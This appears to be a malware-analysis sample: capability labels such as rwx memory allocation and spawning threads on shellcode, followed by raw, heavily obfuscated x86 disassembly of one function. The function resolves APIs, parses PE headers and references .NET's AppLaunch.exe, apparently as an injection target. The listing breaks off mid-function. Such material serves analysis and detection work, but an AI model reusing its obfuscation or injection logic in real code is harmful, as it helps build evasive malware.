Function at 0x40f780
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1ec
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1f0], eax
mov eax, dword [0x481480]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1e8], 0x586315a0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1f4], eax
sub eax, 0x8405c17f
je 0x4124ad
jmp 0x40f7c5
mov eax, dword [ebp - 0x1f4]
sub eax, 0x846b3495
je 0x41249e
jmp 0x40f7db
mov eax, dword [ebp - 0x1f4]
sub eax, 0x885df835
je 0x413cca
jmp 0x40f7f1
mov eax, dword [ebp - 0x1f4]
sub eax, 0x8dbc9044
je 0x41365a
jmp 0x40f807
mov eax, dword [ebp - 0x1f4]
sub eax, 0x8dc285ce
je 0x412836
jmp 0x40f81d
mov eax, dword [ebp - 0x1f4]
sub eax, 0x8dd4d741
je 0x41334c
jmp 0x40f833
mov eax, dword [ebp - 0x1f4]
sub eax, 0x8fc47b70
je 0x414206
jmp 0x40f849
mov eax, dword [ebp - 0x1f4]
sub eax, 0x90313c50
je 0x412787
jmp 0x40f85f
mov eax, dword [ebp - 0x1f4]
sub eax, 0x909b95fe
je 0x410cf1
jmp 0x40f875
mov eax, dword [ebp - 0x1f4]
sub eax, 0x923864b3
je 0x411a3e
jmp 0x40f88b
mov eax, dword [ebp - 0x1f4]
sub eax, 0x94446f91
je 0x414228
jmp 0x40f8a1
mov eax, dword [ebp - 0x1f4]
sub eax, 0x95bef99f
je 0x410c7b
jmp 0x40f8b7
mov eax, dword [ebp - 0x1f4]
sub eax, 0x960e9f0d
je 0x4127b8
jmp 0x40f8cd
mov eax, dword [ebp - 0x1f4]
sub eax, 0x96f6e027
je 0x41242e
jmp 0x40f8e3
mov eax, dword [ebp - 0x1f4]
sub eax, 0x96fa208d
je 0x411bd7
jmp 0x40f8f9
mov eax, dword [ebp - 0x1f4]
sub eax, 0x9711f1fe
je 0x412def
jmp 0x40f90f
mov eax, dword [ebp - 0x1f4]
sub eax, 0x971d8212
je 0x412dfe
jmp 0x40f925
mov eax, dword [ebp - 0x1f4]
sub eax, 0x98fa5253
je 0x4140f5
jmp 0x40f93b
mov eax, dword [ebp - 0x1f4]
sub eax, 0x995069b8
je 0x413f1e
jmp 0x40f951
mov eax, dword [ebp - 0x1f4]
sub eax, 0x9be345b5
je 0x41379f
jmp 0x40f967
mov eax, dword [ebp - 0x1f4]
sub eax, 0x9c24a166
je 0x413efa
jmp 0x40f97d
mov eax, dword [ebp - 0x1f4]
sub eax, 0x9ca1153c
je 0x414253
jmp 0x40f993
mov eax, dword [ebp - 0x1f4]
sub eax, 0x9f06ef36
je 0x4117f7
jmp 0x40f9a9
mov eax, dword [ebp - 0x1f4]
sub eax, 0x9fa0f90c
je 0x41238f
jmp 0x40f9bf
mov eax, dword [ebp - 0x1f4]
sub eax, 0xa33be423
je 0x412694
jmp 0x40f9d5
mov eax, dword [ebp - 0x1f4]
sub eax, 0xa5b1174e
je 0x413e7b
jmp 0x40f9eb
mov eax, dword [ebp - 0x1f4]
sub eax, 0xa610b5f9
je 0x411248
jmp 0x40fa01
mov eax, dword [ebp - 0x1f4]
sub eax, 0xa7accb41
je 0x414113
jmp 0x40fa17
mov eax, dword [ebp - 0x1f4]
sub eax, 0xab2820ca
je 0x412b60
jmp 0x40fa2d
mov eax, dword [ebp - 0x1f4]
sub eax, 0xabd03bc4
je 0x4110ec
jmp 0x40fa43
mov eax, dword [ebp - 0x1f4]
sub eax, 0xae3853e0
je 0x414104
jmp 0x40fa59
mov eax, dword [ebp - 0x1f4]
sub eax, 0xae920e0d
je 0x411ade
jmp 0x40fa6f
mov eax, dword [ebp - 0x1f4]
sub eax, 0xaef932ef
je 0x412888
jmp 0x40fa85
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb093b9ef
je 0x413fe9
jmp 0x40fa9b
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb0e9499b
je 0x412110
jmp 0x40fab1
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb243d544
je 0x412d49
jmp 0x40fac7
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb3c9b783
je 0x4133dd
jmp 0x40fadd
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb46449ca
je 0x4138dc
jmp 0x40faf3
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb4876319
je 0x4140b2
jmp 0x40fb09
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb4bf8262
je 0x414288
jmp 0x40fb1f
mov eax, dword [ebp - 0x1f4]
sub eax, 0xb5f95244
je 0x4130cb
jmp 0x40fb35
mov eax, dword [ebp - 0x1f4]
sub eax, 0xba255708
je 0x413bad
jmp 0x40fb4b
mov eax, dword [ebp - 0x1f4]
sub eax, 0xba45edf1
je 0x410f9a
jmp 0x40fb61
mov eax, dword [ebp - 0x1f4]
sub eax, 0xba9a639a
je 0x412cc3
jmp 0x40fb77
mov eax, dword [ebp - 0x1f4]
sub eax, 0xbbe52811
je 0x410c32
jmp 0x40fb8d
mov eax, dword [ebp - 0x1f4]
sub eax, 0xbd2b0757
je 0x411865
jmp 0x40fba3
mov eax, dword [ebp - 0x1f4]
sub eax, 0xbf9ad318
je 0x4133ce
jmp 0x40fbb9
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc0805bb7
je 0x41157e
jmp 0x40fbcf
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc0921551
je 0x412879
jmp 0x40fbe5
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc3aa3159
je 0x411f6d
jmp 0x40fbfb
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc46097f7
je 0x4132d6
jmp 0x40fc11
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc662e3df
je 0x412fa1
jmp 0x40fc27
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc7ef3755
je 0x410d00
jmp 0x40fc3d
mov eax, dword [ebp - 0x1f4]
sub eax, 0xc82ee3cb
je 0x41358b
jmp 0x40fc53
mov eax, dword [ebp - 0x1f4]
sub eax, 0xcb14aacc
je 0x413871
jmp 0x40fc69
mov eax, dword [ebp - 0x1f4]
sub eax, 0xcb98e85b
je 0x4121fd
jmp 0x40fc7f
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd0ad6353
je 0x4141e8
jmp 0x40fc95
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd0dc1b35
je 0x411b6d
jmp 0x40fcab
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd12d58d0
je 0x412067
jmp 0x40fcc1
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd2400e95
je 0x410f72
jmp 0x40fcd7
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd5b6e984
je 0x410eb2
jmp 0x40fced
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd5bf220c
je 0x414137
jmp 0x40fd03
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd650026d
je 0x411d69
jmp 0x40fd19
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd6617f71
je 0x412c0c
jmp 0x40fd2f
mov eax, dword [ebp - 0x1f4]
sub eax, 0xd6ad9046
je 0x413453
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b472220
mov ecx, 0x95bef99f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
add edx, 0x67756f61
sub edx, 1
sub edx, 0x67756f61
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b472220
mov ecx, 0x909b95fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dword [ebp - 0x1e8], 0x7ac3308
jmp 0x414292
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041f3f0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041f3f0
add esp, 0xc
mov dword [ebp - 0x64], 0x44
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x6c], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x1e8], 0xe5c0a47f
jmp 0x414292
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x1e8], 0x453a1a3a
jmp 0x414292
mov eax, dword [ebp - 0x148]
mov esi, dword [eax]
mov edx, dword [ebp - 0x14c]
mov eax, 0xabd03bc4
mov ecx, 0xba45edf1
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
add edx, 0x3fb25030
sub edx, 1
sub edx, 0x3fb25030
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x32c5afb2
mov ecx, 0x6af069bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x1e8], 0xed0f5a64
jmp 0x414292
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x17c]
add eax, 4
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1e8], 0xe63041de
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x639ac512
mov ecx, 0xd79916e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a9b10f
mov ecx, 0xbd2b0757
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x10c], eax
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
sub edx, 0x8259af8
sub edx, 1
add edx, 0x8259af8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a9b10f
mov ecx, 0xecbba4f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dword [ebp - 0x1e8], 0xe8fa8adb
jmp 0x414292
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x108]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x101], al
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
sub edx, 0xc9126bf4
sub edx, 1
add edx, 0xc9126bf4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x654bb91f
mov ecx, 0xd0dc1b35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dl, byte [ebp - 0x101]
mov eax, 0x1e083a93
mov ecx, 0xe9b833c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1a4]
mov ax, word [eax]
mov word [ebp - 0x100], ax
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
add edx, 0xc47d9fd4
sub edx, 1
sub edx, 0xc47d9fd4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x301eab87
mov ecx, 0x6f069fa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dl, byte [ebp - 0xfd]
mov eax, 0x992a77b
mov ecx, 0x46496462
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1a4]
add eax, 2
mov dword [ebp - 0x1a4], eax
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d99e0d8
mov ecx, 0x4c5eb6f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64e2d96f
mov ecx, 0x317541a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1a8]
sub eax, 0x2168111c
add eax, 1
add eax, 0x2168111c
mov dword [ebp - 0xf0], eax
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
add edx, 0xc9eae388
sub edx, 1
sub edx, 0xc9eae388
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d5a84ef
mov ecx, 0x444f4649
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
sub edx, 0x5fbce766
sub edx, 1
add edx, 0x5fbce766
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6d6a7f7
mov ecx, 0x1dc4e9aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1ac]
imul ecx, dword [ebp - 0x1b0], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
setne al
and al, 1
mov byte [ebp - 0xe5], al
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
add edx, 0xf20c5cf4
sub edx, 1
sub edx, 0xf20c5cf4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4876319
mov ecx, 0xf39ac33b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x1ac]
imul edx, dword [ebp - 0x1b0], 0x14
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0x603eee5d
add eax, ecx
sub eax, 0x603eee5d
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1e8], 0xdf7134b9
jmp 0x414292
mov dword [ebp - 0x1e8], 0xaef932ef
jmp 0x414292
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x1ac]
imul edx, dword [ebp - 0x1b0], 0x14
add ecx, edx
mov edx, dword [ecx + 0x10]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1e8], 0x6e1ff98e
jmp 0x414292
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
add edx, 0x1e1ad016
sub edx, 1
sub edx, 0x1e1ad016
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe49621ad
mov ecx, 0xdb8e56fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x1b8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1e8], 0x960e9f0d
jmp 0x414292
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x1e8], 0xea8f9bce
jmp 0x414292
mov eax, dword [ebp - 0x1c0]
add eax, 0x959a2471
add eax, 1
sub eax, 0x959a2471
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x1e8], 0xd8a1d87e
jmp 0x414292
mov dword [ebp - 0x1e8], 0xaef932ef
jmp 0x414292
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x98fa5253
mov ecx, 0x583b2e00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x17c]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xc0]
mov eax, 0x3720fc89
mov ecx, 0x423af872
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1d4]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0xef5bbfef
or eax, edx
or ecx, 0xef5bbfef
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x1e8], 0xfc0293e7
jmp 0x414292
mov eax, dword [ebp - 0xb8]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb1], al
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
add edx, 0x51603f71
sub edx, 1
sub edx, 0x51603f71
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x31498b59
mov ecx, 0x7e2c3551
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
sub edx, 0xdbbb5243
sub edx, 1
add edx, 0xdbbb5243
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd5bf220c
mov ecx, 0x2e6e49b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dword [ebp - 0x1e8], 0x971d8212
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
add edx, 0xb2cded1b
sub edx, 1
sub edx, 0xb2cded1b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x759f3fce
mov ecx, 0x2e6796fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0xa8], eax
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
mov edx, eax
add edx, 0x3d77699f
sub edx, 1
sub edx, 0x3d77699f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff99304a
mov ecx, 0x7ebd4276
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [0x48297c]
mov ecx, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3306efa4
mov ecx, 0x3989764d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
add edx, 0xa8aa65e5
sub edx, 1
sub edx, 0xa8aa65e5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd9aef41a
mov ecx, 0x8dd4d741
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x98], eax
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
add edx, 0x518b2b3f
sub edx, 1
sub edx, 0x518b2b3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd9aef41a
mov ecx, 0xbf9ad318
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dword [ebp - 0x1e8], 0xb3c9b783
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
sub edx, 0xa43bea78
sub edx, 1
add edx, 0xa43bea78
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23d4c544
mov ecx, 0xd6ad9046
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dword [ebp - 0x1e8], 0xe77bdb22
jmp 0x414292
mov dword [ebp - 0x1e8], 0xe165107e
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
mov edx, ecx
add edx, 0x4f528557
sub edx, 1
sub edx, 0x4f528557
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8fc47b70
mov ecx, 0xe62de8ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov dword [ebp - 0x1e8], 0x1bfd547e
jmp 0x414292
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
sub eax, 0x18086262
sub eax, 8
add eax, 0x18086262
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x1d8]
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 8
add edx, eax
xor eax, eax
sub eax, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x1e0]
add eax, 0xd369324e
add eax, 0x18
sub eax, 0xd369324e
mov dword [eax], ecx
mov eax, dword [ebp - 0x1e0]
add eax, 0x1855a017
add eax, 0x24
sub eax, 0x1855a017
mov dword [ebp - 0x1e4], eax
mov ecx, dword [ebp - 0x16c]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041f550
add esp, 0xc
mov eax, dword [ebp - 0x17c]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x168]
mov byte [eax], cl
mov eax, dword [ebp - 0x168]
mov dl, byte [eax]
mov eax, 0x48fe563
mov ecx, 0x6b757795
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov ecx, dword [0x48297c]
mov eax, dword [0x482978]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ca1153c
mov ecx, 0xd92d4ad5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x414292
mov eax, dword [ebp - 0x78]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x1e8], 0x7ac3308
jmp 0x414292
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x17c]
mov ecx, dword [ecx + 0x34]
sub eax, 0x2025980a
sub eax, ecx
add eax, 0x2025980a
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x1e8], 0xfc53029e
jmp 0x414292
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x1e8], 0x180cc3ce
jmp 0x414292
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
